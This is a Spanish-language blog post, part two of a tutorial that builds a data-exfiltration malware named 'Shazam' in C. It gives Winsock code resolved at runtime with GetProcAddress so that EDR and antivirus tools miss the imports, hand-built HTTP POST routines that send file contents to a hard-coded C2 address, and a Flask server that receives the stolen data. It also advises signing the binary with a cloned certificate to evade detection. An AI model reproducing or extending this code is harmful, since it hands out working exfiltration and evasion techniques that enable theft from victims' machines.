synawk

Sockets y Comunicación HTTP: Malware Dev 0x2

Parte 2 del la guía de desarrollo desde 0 de un malware básico en C; el cual tiene como nombre Shazam. Comunicación HTTP

En el capítulo anterior mencioné que que este malware contará con un módulo de exfiltración de datos. Es obvio que necesito un canal de comunicación para transmitir los datos. Para este ejemplo he decidido usar HTTP como protocolo de comunicación; dado que su implementación es sencilla y pues sirve como un gran ejemplo.

Para poder llevar un orden en las estructura del proyecto; he decidido separar la capa de sockets y de HTTP; con el fin de quizá reutilizar en un futuro la capa de sockets para otro tipo de protocolo. No voy a analizar los controles de seguridad o hooks que pueden existir en un EDR o en un AV; sin embargo la idea es usar en la medida de lo posible la menor cantidad de funciones usando WinAPI.

//common.c
HMODULE c_ws32(){
    char *ws2_text = "WS2_32.dll";
 	return LoadLibrary(ws2_text); 
}
FARPROC c_gProc(HMODULE lib, char *name){
	return GetProcAddress(lib, name);
}

//connection.c
HMODULE ws2 = c_ws32();
_WSAStartup pWSAStartup = (_WSAStartup)c_gProc(ws2, "WSAStartup");
WSADATA wsaData;
pWSAStartup((WORD)2.2, &wsaData);

(*szSocket)->pWSASocketA = (_WSASocketA)c_gProc(ws2, "WSASocketA");
(*szSocket)->pClosesocket = (_closesocket)c_gProc(ws2, "closesocket");
(*szSocket)->pConnect = (_connect)c_gProc(ws2, "connect");
(*szSocket)->pWSACleanup = (_WSACleanup)c_gProc(ws2, "WSACleanup");
(*szSocket)->send= (_send)c_gProc(ws2, "send");
(*szSocket)->recv = (_recv)c_gProc(ws2, "recv");

Por un lado tengo un archivo common.c donde iré colocando funciones compartidas. Por el otro en el archivo connection.c he creado todo lo necesario para la conexión vía socket. Todas las definiciones las tengo en el archivo que corresponde a su cabecera. Aquí hay algunos puntos que considerar. Lo hago de esta forma; es decir usando GetProcAddress para evitar que se cargue en el IAT y los EDR/AV no detecten que se ha cargado esta librería. El punto problemático sería que aún se mantienen los strings para cargar las funciones; lo que podría finalmente ser un indicador para considerarse como malware. Un “truco” fácil para evadir controles de seguridad es firmar el ejecutable; quizá sea de ayuda si lo firmas con un certificado clonado. Bueno esto quizá lo explique a detalle más adelante con mucha mayor profundidad.

Necesito crear ahora la conexión en socket que usaré para comincarme con el C2. Las funciones de mc_iaddr y mc_htons las tengo definida en las cabeceras. Básicamente son htons y la función inet_addr pero embebida la lógica dentro del código. Al final hace lo mismo, solo estoy evitando usar las funciones.

//
struct sockaddr_in sa;
sa.sin_family = AF_INET;

SOCKET sock = (*connection)->szSocket->pWSASocketA(AF_INET, SOCK_STREAM, 6, NULL, 0, 0);
(*connection)->szSocket->socket = sock;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = mc_iaddr((*connection)->ip);
sa.sin_port = mc_htons((*connection)->port);

if ((*connection)->szSocket->pConnect(sock, (SOCKADDR*)&sa, sizeof(sa)) == SOCKET_ERROR)
{
    (*connection)->szSocket->pWSACleanup();
    fdebug("[ERROR]: %s:%d", (*connection)->ip, (*connection)->port);
}

Si te das cuenta en el código, estoy utilizando ciertas estructuras que me ayudarán a encapsular cierta información y pueda transportarla fácilmente.

//socket objects
//funciones y daatos varios.
//common.h
typedef struct SZSOCKET {
	char *hash;
	SOCKET socket;
	_WSAStartup pWSAStartup;
	_WSASocketA pWSASocketA;
	_htons pHtons;
	_inet_addr pInet_addr;
	_closesocket pClosesocket;
	_connect pConnect;
	_WSACleanup pWSACleanup;
	_send send;
	_recv recv; 
} SZSOCKET;

//Esta estructura es para la creación de la conexión
typedef struct SZCONNECTION{
	int instanced;
	char *ip;
	int port;

	SZSOCKET *szSocket;
} SZCONNECTION;


//http.h
typedef struct HTTPCONNECTION {

	SZCONNECTION *szConnection;
	char *ip;
	int port;
	char *response;

} HTTPCONNECTION;

Con esto ya tengo toda la lógica necesaria para crear el comunicación HTTP. Para esto voy a construir un servidor web donde recibiré toda la información remota. El servidor puede ser construida en cualquier lenguaje o cualquier tecnología. Para este caso usaré Python3 con Flask como framework. Para empezar solo voy a imprimir los datos que recibe.

from flask import Flask, request

app = Flask(__name__)

@app.route("/communication", methods=["GET", "POST"])
def index():
	print(request.data)
	return "response"

if __name__ == '__main__':
      app.run(host='0.0.0.0', port=80)

Y lo puedes ejecutar con el siguiente comando:

python3 app.py

Envío de archivo vía POST

Al crear sockets en C solo estamos creando la conexión (TCP en este caso); así que se debe implementar toda la capa que corresponde al HTTP. Para poder enviar un archivo debo hacerlo usando el método POST, debo construir todo el payload HTTP desde 0. Haciendo un poco de memoria un payload tradicional sería algo así:

POST /communication HTTP/1.1
Host: synawk.com
Content-Type: text/plain
Content-Length: 18

archivo_encriptado

No entraré al detalle de la comunicación HTTP dado que no viene al caso; pero puedes buscar información en internet acerca de eso. Para este caso en específico necesitamos hacer exfiltración de datos; así que el archivo que debo enviar deberá ser data comprimida de múltiples archivos y al llegar al servidor, descomprimir estos datos y almacenarlos. Puedes ver la siguiente imagen para entenderlo un poco mejor:

http shazam malware flow

Quedaría algo así:

void bUrl(char **result, int action){
	char url[20]="/communication";
	if(action==SZAC_SEND){
		sprintf(*result, "%s?q=%s", url, action);
	}
}

//...
//...

char *mRequest = malloc(100);
bMain_request(&mRequest, "POST", url);

char *buffer = malloc(1024);

strcpy(buffer, mRequest);
strcat(buffer, "Content-type: text/plain\r\n");

char szData[50];
sprintf(szData, "Content-length: %zd\r\n\r\n", strlen(data));
strcat(buffer, szData);

int len = strlen(buffer);

//send headers
so->send(so->socket, buffer, len, 0);

//sending data
so->send(so->socket, data, strlen(data), 0);

Son 2 envíos que se hacen en el proceso; en la primera carga se envían las cabeceras, y en la segunda se envía la data de los archivos. Y bueno finalmente tuve que hacer una rutina que para recibir las cabeceras y los archivos. En realidad no hay código aún relacionado directamente con el malware; por lo pronto solo he implementado el protocolo HTTP y tener listo los módulos básicos para posteriormente poder programar lo necesario. Por ejemplo luego de implementar lo descrito líneas arriba, la lógica final quedaría algo así:

#define C2IP "10.10.2.2"
#define C2PORT 8080

HTTPCONNECTION httpHandle;

//crear una instancia HTTP
char ipPort[17];
sprintf(ipPort,"%s:%d", C2IP,C2PORT);
szHttp_New(ipPort, &httpHandle);
szHttp_Instance(&httpHandle);

//esto será reemplazado por un archivo real
char *data = malloc(100 * sizeof(char));
memcpy(data, "Este es un archivo\0", 20);

//envío del archivo al C2
szHttp_MakePost(&httpHandle, SZAC_SEND, data);

El objetivo final es que como se ve arriba; pueda generar envío de archivos fácilmente. A partir de ahora la función szHttp_MakePost hará el trabajo de enviar el contenido comprimido de diferentes archivos al C2.

Conclusiones

Esta publicación fue bastante corta; ya que solo quería mostrar el avance de la conexión TCP usando el protocolo HTTP. Adicionalmente dejo el repositorio donde iré subiendo los avances del malware.

https://github.com/synawkx/shazam

Para las siguientes publicaciones iré agregando una capa de encriptación y compresión para poder enviar los archivos de forma eficiente.